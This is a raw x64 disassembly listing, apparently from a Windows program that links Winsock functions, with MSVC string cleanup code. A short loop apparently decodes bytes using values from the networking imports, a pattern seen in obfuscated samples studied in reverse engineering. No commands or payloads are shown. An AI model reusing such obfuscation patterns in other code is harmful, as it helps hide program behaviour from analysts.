movsx eax, byte [reloc.WS2_32.dll_htons]
lea ecx, [rcx + r9*4]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si eax, xmm0
mov dword [rsp + 0x60], eax
movsxd rax, dword [rsp + 0x30]
movzx r8d, byte [rsp + rax + 0x49]
and r8b, byte [rsp + 0x60]
add r8b, r8b
movsxd rax, dword [rsp + 0x30]
movzx edx, byte [rsp + rax + 0x49]
sub dl, r8b
add dl, byte [rsp + 0x5c]
movsxd rax, dword [rsp + 0x30]
mov byte [rsp + rax + 0x49], dl
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cmp eax, 5
jb 0x1401f9da0
xor r15d, r15d
mov byte [rsp + 0x48], 1
lea rdx, [rsp + 0x49]
lea rcx, [rbp + 0x250]
call fcn.14019ca90
mov rdx, rax
lea rcx, [rbp + 0x48]
call fcn.1401a3f20
mov rdx, rax
mov rcx, qword [rbp - 0x18]
call fcn.1401ff790
nop
mov rcx, qword [rbp + 0x260]
test rcx, rcx
je 0x1401fa852
mov rdx, qword [rbp + 0x270]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1401fa84c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1401fa84c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1403a87bc
nop
mov rax, qword [rbp + 0x300]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + rcx + 0x300], rax
mov rax, qword [rbp + 0x300]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx + 0x2fc], edx
lea rcx, [rbp + 0x318]
call fcn.1401a5280
lea rcx, [rbp + 0x320]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x398]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rbp + 0x2d0]
cmp rdx, 0xf
jbe 0x1401fa8ef
inc rdx
mov rcx, qword [rbp + 0x2b8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1401fa8ea
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1401fa8ea
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1403a87bc
movdqa xmm0, xmmword [0x1404460a0]
movdqu xmmword [rbp + 0x2c8], xmm0
mov byte [rbp + 0x2b8], 0
movzx edx, byte [rbp + 0x250]
lea rcx, [rbp + 0x258]
call fcn.1401c8560
nop
mov rdx, qword [rbp + 0x290]
cmp rdx, 0xf
jbe 0x1401fa95e
inc rdx
mov rcx, qword [rbp + 0x278]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1401fa959
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1401fa959
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1403a87bc
mov qword [rbp + 0x288], r15
mov qword [rbp + 0x290], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x278], 0
mov rdx, qword [rbp + 0x2f0]
cmp rdx, 0xf
jbe 0x1401fa9bc
inc rdx
mov rcx, qword [rbp + 0x2d8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1401fa9b6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1401fa9b6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1403a87bc
nop
mov rdx, qword [rbp + 0x2b0]
cmp rdx, 0xf
jbe 0x1401faa00
inc rdx
mov rcx, qword [rbp + 0x298]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1401fa9fb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1401fa9fb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1403a87bc
mov qword [rbp + 0x2a8], r15
mov qword [rbp + 0x2b0], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x298], 0
mov rbx, qword [rbp + 0x10]
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x1401faa53
inc rdx
mov rcx, qword [rbx]
cmp rdx, 0x1000
jb 0x1401faa4e
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1401faaa5
mov rcx, r8
call fcn.1403a87bc
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], 0
mov rcx, qword [rbp + 0x400]
xor rcx, rsp
call fcn.1403a8760
lea r11, [rsp + 0x560]
mov rbx, qword [r11 + 0x50]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3